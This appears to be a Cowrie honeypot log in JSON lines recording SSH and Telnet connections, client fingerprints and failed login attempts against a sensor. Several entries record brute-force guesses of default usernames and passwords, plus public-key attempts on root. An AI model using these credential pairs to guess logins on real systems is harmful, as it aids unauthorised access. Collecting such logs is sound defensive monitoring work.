{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:39.702643Z","src_ip":"179.176.210.17","session":"e71cffcfa2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:40.846324Z","src_ip":"179.176.210.17","session":"e71cffcfa2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"931ffa8595b7","protocol":"telnet","message":"New connection: 152.42.224.71:50874 (10.17.0.5:23) [session: 931ffa8595b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:40.987260Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0ef09ed504","protocol":"telnet","message":"New connection: 152.42.224.71:50884 (10.17.0.5:23) [session: 7f0ef09ed504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:42.393525Z"}
{"eventid":"cowrie.session.closed","duration":80.60001516342163,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:43.018589Z","src_ip":"152.42.224.71","session":"e1a1d2f91b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"adae03231204","protocol":"telnet","message":"New connection: 152.42.224.71:50898 (10.17.0.5:23) [session: adae03231204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:44.010715Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"2566a05e3da1","protocol":"ssh","message":"New connection: 31.40.204.166:36084 (159.203.135.109:22) [session: 2566a05e3da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:46.480971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:46.489864Z","src_ip":"31.40.204.166","session":"2566a05e3da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:46.613395Z","src_ip":"31.40.204.166","session":"2566a05e3da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:47.284832Z","src_ip":"31.40.204.166","session":"2566a05e3da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"013eadc0c1c2","protocol":"telnet","message":"New connection: 152.42.224.71:33784 (10.17.0.5:23) [session: 013eadc0c1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:47.368699Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:48.499430Z","src_ip":"31.40.204.166","session":"2566a05e3da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.59322261810303,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:48.676862Z","src_ip":"152.42.224.71","session":"033202aeb530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":43660,"dst_ip":"10.17.0.5","dst_port":22,"session":"721786850f52","protocol":"ssh","message":"New connection: 37.59.115.172:43660 (10.17.0.5:22) [session: 721786850f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:54.660463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:54.666087Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.0583906173706,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:54.673065Z","src_ip":"152.42.224.71","session":"2cb3ec01b850","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:54.748950Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:21:ed:fb:96:6c:a9:b5:94:ff:71:7a:20:51:cf:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk3ZaiGOUTIR/iZcbIWKoBpM6ynYh3RjIYcdcF9TPD5dSVQ2sOdh8iz6BgteLzd87UMqJtNtRVvZNf0NfpLzT76eQSJplqvE3gjU06nefSr7AlppORG7ytwqcb+cxDlFruS2xJXFF2jvi5MeaPkM2B8iWyB1KY6o0bphXJU6WvMcj9LYLM60sFRkhRBrMjvZmKB5IhtiU0JhyKdr48ZJomY1E4lGtnMiE6hSKyMt/foesnLcgZXqgN0g+pPclIB/T2p5XlE4AWtyfj1+rfS9J5CfpC+8jiXGBmwE3eYl/lGFxY/ZNK27m8ktMfBdlKAwkt+qKJ37IqbWKoQUVanNECQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:21:ed:fb:96:6c:a9:b5:94:ff:71:7a:20:51:cf:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.142338Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:21:ed:fb:96:6c:a9:b5:94:ff:71:7a:20:51:cf:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk3ZaiGOUTIR/iZcbIWKoBpM6ynYh3RjIYcdcF9TPD5dSVQ2sOdh8iz6BgteLzd87UMqJtNtRVvZNf0NfpLzT76eQSJplqvE3gjU06nefSr7AlppORG7ytwqcb+cxDlFruS2xJXFF2jvi5MeaPkM2B8iWyB1KY6o0bphXJU6WvMcj9LYLM60sFRkhRBrMjvZmKB5IhtiU0JhyKdr48ZJomY1E4lGtnMiE6hSKyMt/foesnLcgZXqgN0g+pPclIB/T2p5XlE4AWtyfj1+rfS9J5CfpC+8jiXGBmwE3eYl/lGFxY/ZNK27m8ktMfBdlKAwkt+qKJ37IqbWKoQUVanNECQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.146993Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:41:9e:4f:01:f9:0b:04:7b:05:92:d7:e0:c6:74:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk49ZUGEkqsQ5z6RIC0buug+sF6mZAYu8KPCnHlObVKi0/58UoXNC34T4nAF7fQwAjf2C8P8VPD1kWaU51wGt/0307g16kiMeQrtE7qBHhL83U/YyC/WPeO8XFANXNZ40OUq+wN8pbaK2gBlE9dTsCFMmmQeyOSzE7YQJEI6dijoy9n+srXWyZsUBSSEhtk8FC4HKlCOl/kLWhz4GO0nzQFI+eU3+Hr2kXlKij35LisyZK4jE1LnNtTfhcm0mfigKuhQwCbGbMvy27Vc4ptR/uaulzWEqZPwDezBEno6FnDh5ccF7Zc0Yvhu2VcLQXB2sB3quFfUOaU6IW1g9iNL2B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:41:9e:4f:01:f9:0b:04:7b:05:92:d7:e0:c6:74:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.228790Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:41:9e:4f:01:f9:0b:04:7b:05:92:d7:e0:c6:74:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk49ZUGEkqsQ5z6RIC0buug+sF6mZAYu8KPCnHlObVKi0/58UoXNC34T4nAF7fQwAjf2C8P8VPD1kWaU51wGt/0307g16kiMeQrtE7qBHhL83U/YyC/WPeO8XFANXNZ40OUq+wN8pbaK2gBlE9dTsCFMmmQeyOSzE7YQJEI6dijoy9n+srXWyZsUBSSEhtk8FC4HKlCOl/kLWhz4GO0nzQFI+eU3+Hr2kXlKij35LisyZK4jE1LnNtTfhcm0mfigKuhQwCbGbMvy27Vc4ptR/uaulzWEqZPwDezBEno6FnDh5ccF7Zc0Yvhu2VcLQXB2sB3quFfUOaU6IW1g9iNL2B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.233048Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:c3:06:ff:e9:fe:1b:0e:25:86:08:e0:10:a2:98:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANTAtPxaEXxupsfLKVyxg7PZM7NlM0I7NRADVauca9m","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d3:c3:06:ff:e9:fe:1b:0e:25:86:08:e0:10:a2:98:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.315596Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:c3:06:ff:e9:fe:1b:0e:25:86:08:e0:10:a2:98:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANTAtPxaEXxupsfLKVyxg7PZM7NlM0I7NRADVauca9m","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.319369Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:b4:cb:68:c7:38:6f:86:74:0e:5b:f4:90:23:b9:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2qZEhYRw0L58ju0c1MyOOgo+UWtxFjeHEYiPTehwDTqEgXKpqX8KhVPh5Hel1f8GZGRD2YYKqvVtff2lLTVS9ZQkCpWD5OquCVepj5yjxRVO7Iwl/JugxxTLLC0NZ7r/NdP37O1ixLykg8GeUDhfyQzxTodtMoDJwdaaId/o/i85bNc5nXkCcBE3eWSyvt3q5sI1Gw6oclbMBGvZFudEzv1A1ngRBWy/TQWRpyGxFMQTTMZe6sTM5p6xHy+VOfj8NqoRmhhjOUdzGLkojIB6AisnK3CA/woNUlBHHWyPS8f83bsKkw66qjpG2WhKbTguTCjsUnT/ULPN2hHXghkm5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:b4:cb:68:c7:38:6f:86:74:0e:5b:f4:90:23:b9:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.401710Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:b4:cb:68:c7:38:6f:86:74:0e:5b:f4:90:23:b9:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2qZEhYRw0L58ju0c1MyOOgo+UWtxFjeHEYiPTehwDTqEgXKpqX8KhVPh5Hel1f8GZGRD2YYKqvVtff2lLTVS9ZQkCpWD5OquCVepj5yjxRVO7Iwl/JugxxTLLC0NZ7r/NdP37O1ixLykg8GeUDhfyQzxTodtMoDJwdaaId/o/i85bNc5nXkCcBE3eWSyvt3q5sI1Gw6oclbMBGvZFudEzv1A1ngRBWy/TQWRpyGxFMQTTMZe6sTM5p6xHy+VOfj8NqoRmhhjOUdzGLkojIB6AisnK3CA/woNUlBHHWyPS8f83bsKkw66qjpG2WhKbTguTCjsUnT/ULPN2hHXghkm5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.405508Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:be:79:c4:3c:cf:22:79:b8:28:d5:65:3c:d0:43:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXToMq4+LLB5Wpzk9vA40kco9BicFve9aKAIe/IW9k6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 46:be:79:c4:3c:cf:22:79:b8:28:d5:65:3c:d0:43:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.490657Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:be:79:c4:3c:cf:22:79:b8:28:d5:65:3c:d0:43:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXToMq4+LLB5Wpzk9vA40kco9BicFve9aKAIe/IW9k6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.495805Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.579984Z","src_ip":"37.59.115.172","session":"721786850f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33794,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f3d2dcc2f5","protocol":"telnet","message":"New connection: 152.42.224.71:33794 (10.17.0.5:23) [session: 34f3d2dcc2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:55.756369Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46406,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd41b3e94ab","protocol":"ssh","message":"New connection: 31.40.204.166:46406 (159.203.135.109:22) [session: 6fd41b3e94ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:57.813709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:57.818963Z","src_ip":"31.40.204.166","session":"6fd41b3e94ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:58.000311Z","src_ip":"31.40.204.166","session":"6fd41b3e94ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.27548027038574,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:58.031053Z","src_ip":"152.42.224.71","session":"dfeeb78b5b72","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:58.518772Z","src_ip":"31.40.204.166","session":"6fd41b3e94ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00144124031067,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:59.270726Z","src_ip":"152.42.224.71","session":"6cf5463f10c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.03223180770874,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:59.647862Z","src_ip":"152.42.224.71","session":"2fc0a1c7fbb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:59.690465Z","src_ip":"31.40.204.166","session":"6fd41b3e94ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"a802ba680e4d","protocol":"telnet","message":"New connection: 152.42.224.71:55026 (10.17.0.5:23) [session: a802ba680e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:02.890706Z"}
{"eventid":"cowrie.session.closed","duration":36.98360061645508,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:05.024205Z","src_ip":"152.42.224.71","session":"b39d6135ba59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38182,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe943359bc9","protocol":"ssh","message":"New connection: 31.40.204.166:38182 (159.203.135.109:22) [session: bfe943359bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:10.683907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:10.688777Z","src_ip":"31.40.204.166","session":"bfe943359bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.6910297870636,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:10.883287Z","src_ip":"152.42.224.71","session":"e1f48df21abd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:11.323375Z","src_ip":"31.40.204.166","session":"bfe943359bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:11.732117Z","src_ip":"31.40.204.166","session":"bfe943359bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.77178955078125,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:12.007788Z","src_ip":"152.42.224.71","session":"c97787534c94","protocol":"telnet"}
